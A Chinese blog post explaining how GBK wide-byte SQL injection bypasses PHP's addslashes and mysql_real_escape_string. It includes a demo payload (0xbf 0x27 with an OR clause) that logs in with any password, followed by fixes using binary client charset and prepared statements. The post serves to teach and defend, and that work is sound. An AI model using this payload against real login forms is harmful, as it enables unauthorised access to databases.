魔術引號、addslashes和mysql_real_escape_string的防禦以及繞過
0x00:php內置過濾函數
php有內置的函數用來防禦攻擊,簡單的介紹幾個函數。
魔術引號
當打開時,所有的 ‘(單引號),"(雙引號),\(反斜線)和 NULL 字符都會被自動加上一個反斜線進行轉義。這和 addslashes() 作用完全相同。
一共有三個魔術引號指令:
magic_quotes_gpc 影響到 HTTP 請求數據(GET,POST 和 COOKIE)。不能在運行時改變。在 PHP 中默認值為 on。 參見 get_magic_quotes_gpc()。
magic_quotes_runtime 如果打開的話,大部份從外部來源取得數據並返回的函數,包括從數據庫和文本文件,所返回的數據都會被反斜線轉義。該選項可在運行的時改變,在 PHP 中的默認值為 off。 參見 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase 如果打開的話,將會使用單引號對單引號進行轉義而非反斜線。此選項會完全覆蓋 magic_quotes_gpc。如果同時打開兩個選項的話,單引號將會被轉義成 ‘‘。而雙引號、反斜線 和 NULL 字符將不會進行轉義。 如何取得其值參見 ini_get()。
mysql_real_escape_string
轉義sql語句中使用的字符串中的特殊字符:\x00、\n、\r、\、‘、"、\x1a
addslashes()
返回在預定義字符之前添加反斜杠的字符串,預定義字符:‘、"、\、NULL
看了很多php網站在防sql註入上還在使用ddslashes和str_replace,百度一下"PHP防註入"也同樣在使用他們,實踐發現就連mysql_real_escape_string也有黑客可以繞過的辦法,如果你的系統仍在用上面三個方法,建議更好。
用str_replace以及各種php字符替換函數來防註入已經不用我說了,這種“黑名單”式的防禦已經被證明是經不起時間考驗的。
下面給出繞過addslasher和mysql_real_escape_string的方法(Trick)。
如果你不確定你的系統是否有SQL註入的風險,請將下面的下面的DEMO部署到你的服務器,如果運行結果相同,那麽請參考最後的完美的解決方案。
mysql:
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-ny | +---------------------+ 1 row in set (0.00 sec) mysql> create database test default charset GBK; Query OK, 1 row affected (0.00 sec) mysql> use test; Database changed mysql> CREATE TABLE users ( username VARCHAR(32) CHARACTER SET GBK, password VARCHAR(32) CHARACTER SET GBK, PRIMARY KEY (username) ); Query OK, 0 rows affected (0.02 sec) mysql> insert into users SET username=‘ewrfg‘, password=‘wer44‘; Query OK, 1 row affected (0.01 sec) mysql> insert into users SET username=‘ewrfg2‘, password=‘wer443‘; Query OK, 1 row affected (0.01 sec) mysql> insert into users SET username=‘ewrfg4‘, password=‘wer4434‘; Query OK, 1 row affected (0.01 sec)=
php:
<?php echo "PHP version: ".PHP_VERSION."\n"; mysql_connect(‘servername‘,‘username‘,‘password‘); mysql_select_db("test"); mysql_query("SET NAMES GBK"); $_POST[‘username‘] = chr(0xbf).chr(0x27).‘ OR username = username /*‘; $_POST[‘password‘] = ‘guess‘; $username = addslashes($_POST[‘username‘]); $password = addslashes($_POST[‘password‘]); $sql = "SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); $username = mysql_real_escape_string($_POST[‘username‘]); $password = mysql_real_escape_string($_POST[‘password‘]); $sql = "SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding()); mysql_set_charset("GBK"); $username = mysql_real_escape_string($_POST[‘username‘]); $password = mysql_real_escape_string($_POST[‘password‘]); $sql = "SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘"; $result = mysql_query($sql) or trigger_error(mysql_error().$sql); var_dump(mysql_num_rows($result)); var_dump(mysql_client_encoding());
結果:
PHP version: 5.5.44 int(3) string(6) "latin1" int(3) string(6) "latin1" int(0) string(3) "gbk"
可以看出來不論是使用addslashes還是mysql_real_escape_string,我都可以利用編碼的漏洞來實現輸入任意密碼就能登錄服務器的註入攻擊!!!!
0x01:寬字節註入
盡管現在呼籲所有的程序都使用unicode編碼,所有的網站都使用utf-8編碼,來一個統一的國際規範。但仍然有很多,包括國內及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編碼,比如gbk,作為自己默認的編碼類型。也有一些cms為了考慮老用戶,所以出了gbk和utf-8兩個版本。
我們就以gbk字符編碼為示範,拉開帷幕。gbk是一種多字符編碼,有一個地方尤其要註意:
通常來說,一個gbk編碼漢字,占用2個字節。一個utf-8編碼的漢字,占用3個字節。在php中,我們可以通過輸出
echo strlen("和");
來測試。當將頁面編碼保存為gbk時輸出2,utf-8時輸出3。
除了gbk以外,所有ANSI編碼都是2個字節。ansi只是一個標準,在不用的電腦上它代表的編碼可能不相同,比如簡體中文系統中ANSI就代表是GBK。
如上,想繞過魔術引號等限制,有兩種方式:
1.將\前面再加一個\(或單數個即可),變成\\’,這樣\被轉義了,’逃出了限制
2.將\去掉。
我們這裏的寬字節註入是利用mysql的一個特性,mysql在使用GBK編碼的時候,會認為兩個字符是一個漢字(前一個ascii碼要大於128,才到漢字的範圍)。
這就是mysql的特性,因為gbk是多字節編碼,他認為兩個字節代表一個漢字,所以%df和後面的\也就是%5c變成了一個漢字“運”,而’逃逸了出來。再嘗試“%df%df%27”,就不報錯了。因為%df%df是一個漢字,%5c%27不是漢字,仍然是\’。
那麽mysql怎麽判斷一個字符是不是漢字,根據gbk編碼,第一個字節ascii碼大於128,基本上就可以了。比如我們不用%df,用%a1也可以,%a1%5c他可能不是漢字,但一定會被mysql認為是一個寬字符,就能夠讓後面的%27逃逸了出來。
但需要註意的是
gb2312和gbk應該都是寬字節家族的一員,卻不能註入,這歸結於gb2312編碼的取值範圍。它的高位範圍是0xA1~0xF7,低位範圍是0xA1~0xFE,而\是0x5c,是不在低位範圍中的。所以,0x5c根本不是gb2312中的編碼,所以自然也是不會被吃掉的。
所以,把這個思路擴展到世界上所有多字節編碼,我們可以這樣認為:只要低位的範圍中含有0x5c的編碼,就可以進行寬字符註入。
0x02:寬字符註入的修復
先調用mysql_set_charset函數設置連接所使用的字符集為gbk,再調用mysql_real_escape_string來過濾用戶輸入。
這個方式是可行的,但有部分老的cms,在多處使用addslashes來過濾字符串,我們不可能去一個一個把addslashes都修改成mysql_real_escape_string。我們第二個解決方案就是,將character_set_client設置為binary(二進制)。
只需在所有sql語句前指定一下連接的形式是二進制:
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
這幾個變量是什麽意思?
當我們的mysql接受到客戶端的數據後,會認為他的編碼是character_set_client,然後會將之將換成character_set_connection的編碼,然後進入具體表和字段後,再轉換成字段對應的編碼。
然後,當查詢結果產生後,會從表和字段的編碼,轉換成character_set_results編碼,返回給客戶端。
所以,我們將character_set_client設置成binary,就不存在寬字節或多字節的問題了,所有數據以二進制的形式傳遞,就能有效避免寬字符註入。
0x03:PDO和MYSQLI
完美解決方案就是使用擁有Prepared Statement機制的PDO和MYSQLi來代替mysql_query(註:mysql_query自 PHP 5.5.0 起已廢棄,並在將來會被移除):
PDO:
$pdo = new PDO(‘mysql:dbname=dbtest;host=127.0.0.1;charset=utf8‘, ‘user‘, ‘pass‘); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->prepare(‘SELECT * FROM employees WHERE name = :name‘); $stmt->execute(array(‘name‘ => $name)); foreach ($stmt as $row) { // do something with $row }
MYSQLi:
$stmt = $dbConnection->prepare(‘SELECT * FROM employees WHERE name = ?‘); $stmt->bind_param(‘s‘, $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // do something with $row }
本文出自 “罹殤” 博客,請務必保留此出處http://wt7315.blog.51cto.com/10319657/1931667
魔術引號、addslashes和mysql_real_escape_string的防禦以及繞過